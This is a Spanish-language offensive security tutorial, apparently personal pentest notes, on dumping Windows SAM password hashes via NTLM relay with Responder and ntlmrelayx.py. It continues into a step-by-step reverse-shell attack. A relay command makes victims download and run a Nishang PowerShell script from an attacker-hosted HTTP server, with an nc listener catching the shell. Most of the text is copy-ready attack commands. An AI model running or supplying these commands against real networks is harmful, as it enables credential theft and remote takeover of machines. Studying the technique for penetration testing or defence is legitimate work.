Dumping SAM

¿Qué és la SAM?

La SAM (Security Account Manager) es la que administra todas las cuentas de usuario y sus contraseñas. Actúa como una base de datos, todas las contraseñas se codifican y luego se almacenan en SAM. Es responsabilidad de LSA (Local Security Authority) verificar el inicio de sesión del usuario haciendo coincidir las contraseñas con la base de datos mantenida en SAM.

La SAM se encuentra en C:\Windows\System32\config y las contraseñas codificadas y guardadas en SAM se pueden encontrar en el registro, simplemente abra el Editor del Registro y navegue hasta HKEY_LOCAL_MACHINE\SAM

Este ataque funciona cómo el SMB Relay, pero la cosa es que con el responder y con la herramienta netlmrelayx.py suplantaremos el recurso inexistente para que confie en nosotros y nos envie la información de ese recurso, incluyendo la SAM y filtrando los usuarios y sus nthashes.

Requerimientos para el ataque

  • Necesitamos una lista de targets, los cuales los habremos conseguido con un crackmapexec y los metemos un archivo targets.txt

  • Que estos targets tengan la versión SMv1 en False, si esto es así podemos dumpear la SAM y ejecutar también comandos.

  • Que el usuario que busca el \\recursoque\noexiste tenga permisos de administrador en el host del target.txt

SI esos son los requisitos entonces procedemos con el ataque.

Ataque

Para este ataque necesitamos la herramienta Responder y ntlmrelayx.py de nuevo, pero tenemos que hacer algunos cambios en el archivo de configuración responder.conf.

  • Tenemos que poner en OFF el SMB y el HTTP

Entonces ejecutamos el Responder.py:

sudo python3 Responder.py -I eth0 -v

Seguidamente ejecutamos el ntlmrelayx.py:

sudo ntlmrelayx.py -tf targets.txt -smb2support # targets.txt con tus targets

Por detrás estará buscando ese recurso inexistente y nosotros nos haremos pasar por él, ya que lo estará buscando.

Dumping SAM

Gráfico del ataque

Ejecutar comandos

Cómo he dicho anteriormente, hay una manera de que si el SMBv1 está en False, se puede realizar un procedimiento que nos permite ejecutar comandos, a la vez que obtener la SAM como el procedimiento de arriba.

Para ello utilizaremos la herramienta Nishang , haremos lo mismo que con la SAM, envenenamos la comunicación pero ejecutando comandos.

Una vez descargado el nishang, vamos a Shells y cogemos el script que se llama "Invoke-PowershellTcp.ps1", lo copiamos donde estemos trabajando y ponemos el comando Invoke-PowerShellTcp -Reverse -IPAddress 192.168.218.128 -Port 4444 al final del script y guardamos.

Como veis el objetivo es obtener una reverse shell

Ahora si, hacemos lo mismo que con el proceso de arriba:

1. rlwrap nc -nvlp 4444
2. sudo ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.218.128:9090/PS.ps1')"
3.  python3 -m http.server 9090 # donde este el archivo .ps1
4. sudo python3 Responder.py -I eth0 -v
1era parte
2nda parte

Ahora por detrás buscará el \\recurso\inexistente y obtenemos la shell

Obtenemos la shell

Last updated